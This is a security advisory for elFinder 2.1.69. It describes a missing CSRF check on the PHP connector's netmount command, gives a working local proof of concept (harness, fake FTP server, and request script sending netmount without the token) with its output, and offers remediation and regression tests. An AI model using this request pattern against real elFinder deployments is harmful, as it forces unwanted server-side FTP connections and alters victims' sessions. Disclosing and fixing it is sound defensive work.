GHSA-9hjf-w35w-6vx2

### Summary The PHP connector's CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require. This was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository's documented stable release `2.1.69` / API revision `2.1.69`. ### Details The connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list. `netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver's `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`. The documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`: ```php // // Enable FTP connector netmount elFinder::$netDrivers['ftp'] = 'FTP'; ``` The FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server. False-positive checks performed: - `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector's CSRF gate. - `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response. - The fake FTP server observed an inbound connection and FTP command sequence from the PHP process. - No custom application authentication, external service, public infrastructure, or destructive action was used. - Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials. Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration. ### PoC The following safe local reproduction uses only a disposable connector under `/tmp`, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems. 1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness: ```sh mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP' <?php error_reporting(E_ALL); require '/path/to/elFinder/php/autoload.php'; elFinder::$netDrivers['ftp'] = 'FTP'; function access($attr, $path, $data, $volume, $isDir, $relpath) { $basename = basename($path); return $basename[0] === '.' && strlen($relpath) !== 1 ? !($attr == 'read' || $attr == 'write') : null; } $opts = array( 'roots' => array( array( 'driver' => 'LocalFileSystem', 'path' => __DIR__ . '/files/', 'URL' => '/files/', 'trashHash' => 't1_Lw', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), array( 'id' => '1', 'driver' => 'Trash', 'path' => __DIR__ . '/files/.trash/', 'tmbURL' => '/files/.trash/.tmb/', 'uploadDeny' => array('all'), 'uploadAllow' => array('text/plain'), 'uploadOrder' => array('deny', 'allow'), 'accessControl' => 'access' ), ) ); $connector = new elFinderConnector(new elFinder($opts)); $connector->run(); PHP ``` 2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`: ```python #!/usr/bin/env python3 import socket, sys HOST = '127.0.0.1' PORT = int(sys.argv[1]) LOG = sys.argv[2] def log(line): with open(LOG, 'a', encoding='utf-8') as f: f.write(line + '\n') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) log(f'LISTEN {HOST}:{PORT}') while True: conn, addr = s.accept() with conn: log(f'CONNECT {addr[0]}:{addr[1]}') conn.sendall(b'220 fake ftp ready\r\n') while True: data = b'' while not data.endswith(b'\n'): chunk = conn.recv(1) if not chunk: log('CLOSE') break data += chunk if not data: break line = data.decode('latin-1', errors='replace').strip() log('CMD ' + line) cmd = line.split(' ', 1)[0].upper() if cmd == 'USER': conn.sendall(b'331 password required\r\n') elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n') elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n') elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n') elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n') elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n') elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n') elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n') elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n') elif cmd == 'QUIT': conn.sendall(b'221 bye\r\n') break else: conn.sendall(b'200 ok\r\n') ``` 3. Start the local services: ```sh php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log ``` 4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request: ```python import json, urllib.parse, urllib.request, urllib.error, http.cookiejar base = 'http://127.0.0.1:8765/connector.php' log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log' open(log, 'w', encoding='utf-8').close() cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def request(params, timeout=12): url = base + '?' + urllib.parse.urlencode(params) try: with opener.open(url, timeout=timeout) as resp: return resp.status, resp.read().decode('utf-8', errors='replace') except urllib.error.HTTPError as e: return e.code, e.read().decode('utf-8', errors='replace') status, body = request({'cmd':'open','init':'1','target':'l1_Lw'}) opened = json.loads(body) target = opened.get('cwd', {}).get('hash', 'l1_Lw') print('OPEN_STATUS=' + str(status)) print('OPEN_HAS_CSRF=' + str('"csrf"' in body)) status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'}) print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status)) print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160]) status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''}) print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status)) print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body)) print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260]) print('FTP_LOG=') print(open(log, encoding='utf-8', errors='replace').read().strip()) ``` Observed output from the final local re-run in this environment: ```text OPEN_STATUS=200 OPEN_HAS_CSRF=True CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403 CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true} NETMOUNT_WITHOUT_CSRF_STATUS=200 NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"[email protected]","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1, FTP_LOG= CONNECT 127.0.0.1:37496 CMD USER anonymous CMD PASS CMD OPTS UTF8 ON CMD HELP CMD epsv4 off CMD PASV CMD CWD / CMD PWD CMD FEAT CMD MLST / CLOSE ``` The negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection. Cleanup: ```sh # Stop the two local server processes, then remove the disposable harness. rm -rf /tmp/elfinder-csrf-poc-claude ``` ### Impact An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker: - force the victim's elFinder session to persist an attacker-chosen FTP network volume; - cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port; - send attacker-supplied FTP username/password values to that endpoint; and - expose the victim's later file-manager UI to the mounted remote volume. The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path. The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session. ### Suggested remediation Require CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`. Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior. Suggested regression tests: - A request to `cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port>` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener. - The same request with the valid token from `cmd=open&init=1` should preserve intended behavior for authorized users. - `protocol=netunmount` should also reject missing/invalid CSRF tokens. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)